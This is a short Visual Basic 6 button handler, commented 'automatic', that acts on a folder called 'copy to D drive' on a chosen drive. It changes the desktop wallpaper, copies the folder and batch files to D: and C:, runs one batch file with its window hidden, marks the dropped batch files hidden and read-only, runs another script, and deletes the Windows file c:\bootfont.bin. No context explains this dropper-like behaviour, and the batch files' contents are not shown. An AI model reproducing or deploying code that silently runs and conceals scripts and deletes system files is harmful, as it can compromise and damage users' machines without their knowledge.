Private Sub Command4_Click() '自动
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_UPDATEINIFILE = &H1
Const SPIF_SENDWININICHANGE = &H2
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Left(Drive1.Drive, 1) + ":\复制到D盘\.bmp", SPIF_UPDATEINIFILE + SPIF_SENDWININICHANGE)
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFolder Left(Drive1.Drive, 1) + ":\复制到D盘", "d:\"
Shell Left(Drive1.Drive, 1) + ":\复制到D盘\125.bat", vbHide
FileCopy Left(Drive1.Drive, 1) + ":\复制到D盘\9222.bat", "c:\"
SetAttr "d:\123.bat", vbReadOnly + vbHidden
SetAttr "c:\9222.bat", vbReadOnly + vbHidden
Shell Left(Drive1.Drive, 1) + ":\复制到D盘\\cov.bat", vbNormalFocus
Kill "c:\bootfont.bin"
End Sub